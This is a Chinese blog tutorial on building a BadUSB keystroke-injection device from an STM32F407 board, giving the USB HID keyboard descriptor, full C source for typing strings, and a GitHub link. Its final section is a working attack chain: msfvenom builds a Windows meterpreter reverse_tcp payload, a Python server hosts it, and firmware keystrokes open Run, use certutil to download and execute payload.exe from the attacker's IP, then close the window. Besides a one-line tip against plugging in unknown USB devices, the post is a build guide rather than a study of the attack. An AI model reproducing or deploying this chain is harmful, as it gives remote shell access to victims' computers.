BadUSB 原理与 STM32 HID 教程(附源码与 GitHub 链接)

35次阅读
没有评论

什么是 BadUSB?

近期拿出吃灰的 stm32f407 开发板,研究学习一下 hid 设备的开发,来实现一个低成本的 badusb,本文使用开发板来进行测试,当然有条件的小伙伴还可以进行 PCB 打样,打印外壳来实现一个仿真度相对高的 badusb。
    BadUSB 是一种伪装 USB HID 设备的攻击,hid 设备是直接与人交互的设备,例如键盘、鼠标及游戏手柄等。不过 HID 设备并不一定要有人机接口,只要符合 HID 类别规范的设备都是 HID 设备。一般 HID 的攻击主要集中在鼠标键盘上,因为只要伪装成了用户交互设备,基本上就可以和用户的电脑进行交互,从而达到攻击的目的,而这一过程都是模拟人工操作,所以对于杀软来说就没办法进行查杀。应对这一攻击最有效的方法就是不要随意插入未知、不受信任的 USB 设备。
    github:https://github.com/Pa2sw0rd/stm32_keyboard_badusb

环境准备(STM32CubeMX + HAL 库)

  • STM32F407ZGT6
  • stm32cubeMX
  • vscode
  • arm-gcc 交叉编译器
  • jlink 调试器

初始化工程文件

本文采用 HAL 库开发,使用 stm32cubeMX 来生成一个基本工程项目文件。
   这里使用普遍的 USB2.0 全速模式(FS),首先在 System Core-RCC 中配置为外部时钟。

BadUSB 原理与 STM32 HID 教程(附源码与 GitHub 链接)

   Connectivity-USB_OTG_FS 中配置 Mode 为 Device_Only。

BadUSB 原理与 STM32 HID 教程(附源码与 GitHub 链接)

在 Middleware-USB_DEVICE 中配置 Class For FS IP 为 HID 设备,可在配置项修改 vip、pid、描述字符串等。

BadUSB 原理与 STM32 HID 教程(附源码与 GitHub 链接)

FS 的最大速率在 12Mbps,USB 的系统时钟要求是传输速率的四倍,因此 USB 的系统时钟要配置为 48Mhz,这里使用外部晶振通过倍频得到,小伙伴们可以参考下图的时钟树配置(注意自己芯片的外部晶振频率)。

BadUSB 原理与 STM32 HID 教程(附源码与 GitHub 链接)

至此,基本的一个 USB 工程配置完毕,根据自己的环境生成相应的工程文件即可,这里稍微增大了堆栈内存。

BadUSB 原理与 STM32 HID 教程(附源码与 GitHub 链接)

HID 描述符配置

项目生成之后需要修改 HID 描述符,cubeMX 默认生成的是鼠标设备,需要修改成键盘的描述符,报告描述符相当于 HID 设备的属性表。修改 Middlewares\ST\STM32_USB_Device_Library\Class\HID\Src\usbd_hid.c 中的 HID_MOUSE_ReportDesc 为键盘描述符,顺便修改数组大小常量 HID_MOUSE_REPORT_DESC_SIZE 为 63。

__ALIGN_BEGIN static uint8_t HID_MOUSE_ReportDesc[HID_MOUSE_REPORT_DESC_SIZE] __ALIGN_END =
{
0x05, 0x01,// USAGE_PAGE (Generic Desktop)
0x09, 0x06,// USAGE (Keyboard)
0xa1, 0x01,// COLLECTION (Application)
0x05, 0x07,// USAGE_PAGE (Keyboard)
0x19, 0xe0,// USAGE_MINIMUM (Keyboard LeftControl)
0x29, 0xe7,// USAGE_MAXIMUM (Keyboard Right GUI)
0x15, 0x00,// LOGICAL_MINIMUM (0)
0x25, 0x01,// LOGICAL_MAXIMUM (1)
0x75, 0x01,// REPORT_SIZE (1)
0x95, 0x08,// REPORT_COUNT (8)
0x81, 0x02,// INPUT (Data,Var,Abs)
0x95, 0x01,// REPORT_COUNT (1)
0x75, 0x08,// REPORT_SIZE (8)
0x81, 0x03,// INPUT (Cnst,Var,Abs)
0x95, 0x05,// REPORT_COUNT (5)
0x75, 0x01,// REPORT_SIZE (1)
0x05, 0x08,// USAGE_PAGE (LEDs)
0x19, 0x01,// USAGE_MINIMUM (Num Lock)
0x29, 0x05,// USAGE_MAXIMUM (Kana)
0x91, 0x02,// OUTPUT (Data,Var,Abs)
0x95, 0x01,// REPORT_COUNT (1)
0x75, 0x03,// REPORT_SIZE (3)
0x91, 0x03,// OUTPUT (Cnst,Var,Abs)
0x95, 0x06,// REPORT_COUNT (6)
0x75, 0x08,// REPORT_SIZE (8)
0x15, 0x00,// LOGICAL_MINIMUM (0)
0x25, 0xFF,// LOGICAL_MAXIMUM (255)
0x05, 0x07,// USAGE_PAGE (Keyboard)
0x19, 0x00,// USAGE_MINIMUM (Reserved (no event indicated))
0x29, 0x65,// USAGE_MAXIMUM (Keyboard Application)
0x81, 0x00,// INPUT (Data,Ary,Abs)
0xc0
};

修改 USBD_HID_CfgDesc 数组中的鼠标为键盘。

BadUSB 原理与 STM32 HID 教程(附源码与 GitHub 链接)

按键数据报文处理封装

上面的 hid 描述符决定了按键数据的报文格式,一个报文数据为 8 个字节,其具体意思可以描述为:

> BYTE1 -- 特殊按键
>
>     |--bit0:  Left Control 是否按下,按下为 1  
>
>     |--bit1:  Left Shift  是否按下,按下为 1  
>
>     |--bit2:  Left Alt   是否按下,按下为 1  
>
>     |--bit3:  Left GUI(Windows 键)是否按下,按下为 1  
>
>     |--bit4:  Right Control 是否按下,按下为 1  
>
>     |--bit5:  Right Shift 是否按下,按下为 1  
>
>     |--bit6:  Right Alt  是否按下,按下为 1  
>
>     |--bit7:  Right GUI  是否按下,按下为 1 
>
> BYTE2 -- 暂不清楚,有的地方说是保留位
>
> BYTE3--BYTE8 -- 这六个为普通按键 

第一个字节为四个功能键,只有六个字节是普通按键,也就是说,我们一次可以操作六个普通按键,可能也就是所谓的六键无冲。具体六个按键的键值可以参考 usb 官方文档 ,发现其键值和 ASCII 没啥联系,不可能写脚本的时候查表叭~~~ 所以这里就要自己封装一下,但好在其字母及数字部分是连续的,我们可以计算键值和 ASCII 的偏移来直接转码,不过特殊字符得手动处理一下喽,下面直接贴出代码,已实现常见需求,优化空间很大,小伙伴们可以自己优化一下呦~

  • key_parse.h
#ifndef __KEY_PARSE_H
#define __KEY_PARSE_H
#define KEY_CONTROL 0x80>>3
#define KEY_SHIFT 0x80>>2
#define KEY_ALT 0X80>>1
#define KEY_WIN 0X80>>0
#define KEY_NULL 0x00          // NULL
#define KEY_ENTER 0x28         // ENTER
#define KEY_ESC 0x29           // ESC
#define KEY_BACKSPACE 0x2A     // BACKSPACE
#define KEY_TAB 0x2B           // TAB
#define KEY_F1 0x3A
#define KEY_F2 0x3B
#define KEY_F3 0x3C
#define KEY_F4 0x3D
#define KEY_F5 0x3E
#define KEY_F6 0x3F
#define KEY_F7 0x40
#define KEY_F8 0x41
#define KEY_F9 0x42
#define KEY_F10 0x43
#define KEY_F11 0x44
#define KEY_F12 0x45
#define KEY_PRT_SCR 0x46
#define KEY_SCOLL_LOCK 0x47
#define KEY_PAUSE 0x48
#define KEY_INS 0x49
#define KEY_HOME 0x4A
#define KEY_PAGEUP 0x4B
#define KEY_DEL 0x4C
#define KEY_END 0x4D
#define KEY_PAGEDOWN 0x4E
#define KEY_RIGHT_ARROW 0x4F
#define KEY_LEFT_ARROW 0x50
#define KEY_DOWN_ARROW 0x51
#define KEY_UP_ARROW 0x52
#define KEY_DELAY 25//HID 发送延时
static unsigned char key_data[8]={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};//hid 发送缓冲数据
unsigned char ascii_to_key(unsigned char ascii);// 转字母数字到一级字符,非一级字符返回 0 到 parse_key 处理
unsigned char parse_key(unsigned char key);// 转二级字符(需按 shift 的字符)void key_print(unsigned char *string);// 键盘输出字符串
void key_press(unsigned char key);// 按下功能键
void key_unpress(void);// 弹起功能键
void key_unpress_all(void);// 弹起所有键
void pressFunction(unsigned char key);// 按下特殊键
#endif
  • key_parse.c
#include "usbd_hid.h"
#include "usb_device.h"
#include "key_parse.h"
extern USBD_HandleTypeDef hUsbDeviceFS;
unsigned char ascii_to_key(unsigned char ascii){if(32<=ascii&&ascii<=126){if(0x41<=ascii&&ascii<=0x5a){// 大写字母
            return ascii-0x3d;
        }
        if(0x61<=ascii&&ascii<=0x7a){// 小写字母
            return ascii-0x5d;
        }
        if(0x30<=ascii&&ascii<=0x39){// 数字
            if(ascii==0x30) return 0x27;
            return ascii-0x13;
        }
        switch (ascii)
        {
            case '-':return 0x2d;
            case '=':return 0x2e;
            case '[':return 0x2f;
            case ']':return 0x30;
            case ';':return 0x33;
            case 0x27:return 0x34;
            case 0x5c:return 0x31;
            case ',':return 0x36;
            case '.':return 0x37;
            case '/':return 0x38;
            case ' ':return KEY_SPACE;
            default:return 0;
        }
    }else{return 0;}
    return 0;
}
unsigned char parse_key(unsigned char key){//unsigned char temp=ascii_to_key(key);
    switch (key)
    {case '!':return ascii_to_key('1');break;
        case '@':return ascii_to_key('2');break;
        case '#':return ascii_to_key('3');break;
        case '$':return ascii_to_key('4');break;
        case '%':return ascii_to_key('5');break;
        case '^':return ascii_to_key('6');break;
        case '&':return ascii_to_key('7');break;
        case '*':return ascii_to_key('8');break;
        case '(':return ascii_to_key('9');break;
        case ')':return ascii_to_key('0');break;
        case '_':return ascii_to_key('-');break;
        case '+':return ascii_to_key('=');break;
        case '{':return ascii_to_key('[');break;
        case '}':return ascii_to_key(']');break;
        case ':':return ascii_to_key(';');break;
        case '"':return ascii_to_key(0x27);break;
        case '|':return ascii_to_key(0x5c);break;
        case '<':return ascii_to_key(',');break;
        case '>':return ascii_to_key('.');break;
        case '?':return ascii_to_key('/');break;
        default:return key;
    }
    return key;
}
void key_print(unsigned char *string){
/*
输出字符
*/
    unsigned int i,j,nextKey,temp;
    i=0;
    j=0;
    while(string[i]!='\0'){temp=ascii_to_key(string[i]);
        nextKey=ascii_to_key(string[i+1]);
        if(temp){key_data[2+j]=temp;
            j++;
            if(j==6){
                j=0;
                USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
                HAL_Delay(KEY_DELAY);
                key_unpress_all();
                HAL_Delay(KEY_DELAY);
            }else if(!nextKey||parse_key(nextKey)==temp){
                j=0;
                USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
                HAL_Delay(KEY_DELAY);
                key_unpress_all();
                HAL_Delay(KEY_DELAY);
            }
        }else{temp=parse_key(string[i]);
            key_data[2+0]=temp;
            j++;
            if(j==6){
                j=0;
                key_data[0]=KEY_SHIFT;
                USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
                HAL_Delay(KEY_DELAY);
                key_unpress_all();
                HAL_Delay(KEY_DELAY);
            }else if(nextKey||nextKey==temp){
                j=0;
                key_data[0]=KEY_SHIFT;
                USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
                HAL_Delay(KEY_DELAY);
                key_unpress_all();
                HAL_Delay(KEY_DELAY);
            }
        }
        i++;
        //if(string[i]=='\0') return;
    }
}
void key_press(unsigned char key){
/*
按下功能键盘
*/
    key_data[0]=key;
    USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
    HAL_Delay(KEY_DELAY);
}
void key_unpress(void){
/*
弹起功能键盘
*/
    key_data[0]=0x00;
    USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
}
void key_unpress_all(void){
/*
弹起所有键
*/
    for(unsigned char i=0;i<8;i++){key_data[i]=0x00;
    }
    USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
}

void pressFunction(unsigned char key){key_data[2]=key;
    USBD_HID_SendReport(&hUsbDeviceFS,key_data,8);
    HAL_Delay(KEY_DELAY);
    key_unpress_all();
    HAL_Delay(KEY_DELAY);
}

MSF 反弹 shell

这里仅作为 badusb 反弹测试,不做免杀,直接生成 exe(端口默认)。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.132 -f exe -o payload.exe

msf 建立监听(端口默认)。

use exploit/multi/handler 
set payload payload/windows/meterpreter/reverse_tcp
run

使用 python3 起一个 HTTP 服务器来下载后门文件。

python -m http.server

外设等初始化之后执行我们的脚本。

HAL_Delay(2000);// 延时两秒
key_press(KEY_WIN);// 按下 win 键
key_print(“r”);// 按下 R 键
HAL_Delay(20);// 延时 20 毫秒
key_print(“cmd /c cd c:/users/admin&certutil.exe -urlcache -split -f http://192.168.150.132:8000/payload.exe&payload.exe”);// 输入字符串
pressFunction(KEY_ENTER);// 按下回车
HAL_Delay(1000);// 延时一秒
key_press(KEY_ALT);// 按下 alt 键
pressFunction(KEY_F4);// 按下 F4
key_unpress_all();// 避免给正常键盘造成影响,弹起所有按键

正文完
 0
评论(没有评论)